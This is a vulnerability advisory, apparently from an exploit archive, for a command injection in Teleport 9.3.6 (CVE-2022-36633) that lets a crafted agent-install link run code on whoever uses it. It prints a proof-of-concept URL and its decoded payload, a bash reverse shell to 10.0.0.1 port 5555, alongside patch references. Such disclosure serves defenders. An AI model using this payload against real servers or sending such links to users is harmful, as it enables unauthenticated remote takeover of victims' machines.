Home[1] Files[2] News[3] &[SERVICES_TAB] Contact[4] Add New[5]
- Teleport 9.3.6 Command Injection[6]
- Authored by Brian Landrum[7], Brandon Roach[8]
-
Teleport 9.3.6 is vulnerable to command injection leading to remote code execution. An attacker can craft a malicious ssh agent installation link by URL encoding a bash escape with carriage return line feed. This url encoded payload can be used in place of a token and sent to a user in a social engineering attack. This is fully unauthenticated attack utilizing the trusted teleport server to deliver the payload.
- advisories | CVE-2022-36633[9]
- SHA-256 |
5228298638858e0e106cda75b65bd4c283027b5bc6dff934d99ebc3b59a112f7 - Download[10] | Favorite[11] | View[12]
Change Mirror[13] Download[14]
Description:Teleport 9.3.6 is vulnerable to Command injection leading to Remote
Code Execution. An attacker can craft a malicious ssh agent
installation link by URL encoding a bash escape with carriage return
line feed. This url encoded payload can be used in place of a token and
sent to a user in a social engineering attack. This is fully
unauthenticated attack utilizing the trusted teleport server to deliver
the payload.
Additional Information:https://goteleport.com/
https://github.com/gravitational/teleport
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36633
Vulnerability Type: otherCommand injection leading to Remote Code Execution
Vendor of Product:Teleport - https://goteleport.com/
Affected software version: Teleport version < v10.1.2
Affected Component:https://teleport.examplesite.com/scripts/*INJECTION-POINT*/install-node.sh?method=iam <https://teleport.site.com/scripts/*INJECTION-POINT*/install-node.sh?method=iam>
Attack Type:Remote
Impact:Code Execution
Impact Other:This vulnerability allows an attacker to inject code into a bash script without authentication, and craft a legitimate link hosted on the teleport server to use in social engineering attacks. When a user executes the command to install an teleport SSH agent with the crafted link, it will install the teleport agent and without the users knowledge, execute malicious code in the background.
Attack Vectors:An attacker can craft a malicious ssh agent installation link by URL encoding a bash escape with carriage return line feed. This url encoded payload can be used in place of a token and sent to a user in a social engineering attack. This is fully unauthenticated attack utilizing the trusted teleport server to deliver the payload.
Example POC payload: https://teleport.site.com/scripts/%22%0a%2f%62%69%6e%2f%62%61%73%68%20%2d%6c%20%3e%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%30%2e%31%2f%35%35%35%35%20%30%3c%26%31%20%32%3e%26%31%20%23/install-node.sh?method=iam <https://teleport.site.com/scripts/%22%0a%2fbin%2fbash%20-l%20%3e%20%2fdev%2ftcp%2f10.0.0.1%2f5555%200%3c%261%202%3e%261%20%23/install-node.sh?method=iam>
Decoded payload:
"
/bin/bash -l > /dev/tcp/10.0.0.1/5555 0<&1 2>&1 #
Patch information:https://goteleport.com/docs/changelog/#1012
https://github.com/gravitational/teleport/pull/14944
------------------------------------------
Discoverers:
Brandon Roach & Brian Landrum
------------------------------------------
File Tags
- ActiveX[19] (932)
- Advisory[20] (78,014)
- Arbitrary[21] (15,212)
- BBS[22] (2,859)
- Bypass[23] (1,577)
- CGI[24] (1,013)
- Code Execution[25] (6,731)
- Conference[26] (671)
- Cracker[27] (797)
- CSRF[28] (3,274)
- DoS[29] (21,964)
- Encryption[30] (2,335)
- Exploit[31] (50,017)
- File Inclusion[32] (4,153)
- File Upload[33] (945)
- Firewall[34] (821)
- Info Disclosure[35] (2,562)
- Intrusion Detection[36] (858)
- Java[37] (2,821)
- JavaScript[38] (802)
- Kernel[39] (6,106)
- Local[40] (14,049)
- Magazine[41] (586)
- Overflow[42] (12,240)
- Perl[43] (1,413)
- PHP[44] (5,054)
- Proof of Concept[45] (2,283)
- Protocol[46] (3,328)
- Python[47] (1,404)
- Remote[48] (29,803)
- Root[49] (3,456)
- Ruby[50] (578)
- Scanner[51] (1,630)
- Security Tool[52] (7,718)
- Shell[53] (3,069)
- Shellcode[54] (1,203)
- Sniffer[55] (882)
- Spoof[56] (2,103)
- SQL Injection[57] (16,044)
- TCP[58] (2,366)
- Trojan[59] (676)
- UDP[60] (869)
- Virus[61] (660)
- Vulnerability[62] (30,580)
- Web[63] (9,076)
- Whitepaper[64] (3,723)
- x86[65] (943)
- XSS[66] (17,367)
- Other[67]
File Archives
- August 2022[68]
- July 2022[69]
- June 2022[70]
- May 2022[71]
- April 2022[72]
- March 2022[73]
- February 2022[74]
- January 2022[75]
- December 2021[76]
- November 2021[77]
- October 2021[78]
- September 2021[79]
- Older[80]
Systems
- AIX[81] (426)
- Apple[82] (1,893)
- BSD[83] (369)
- CentOS[84] (55)
- Cisco[85] (1,913)
- Debian[86] (5,948)
- Fedora[87] (1,690)
- FreeBSD[88] (1,242)
- Gentoo[89] (4,188)
- HPUX[90] (878)
- iOS[91] (320)
- iPhone[92] (108)
- IRIX[93] (220)
- Juniper[94] (67)
- Linux[95] (42,666)
- Mac OS X[96] (683)
- Mandriva[97] (3,105)
- NetBSD[98] (255)
- OpenBSD[99] (478)
- RedHat[100] (11,856)
- Slackware[101] (941)
- Solaris[102] (1,607)
- SUSE[103] (1,444)
- Ubuntu[104] (7,949)
- UNIX[105] (9,101)
- UnixWare[106] (185)
- Windows[107] (6,446)
- Other[108]


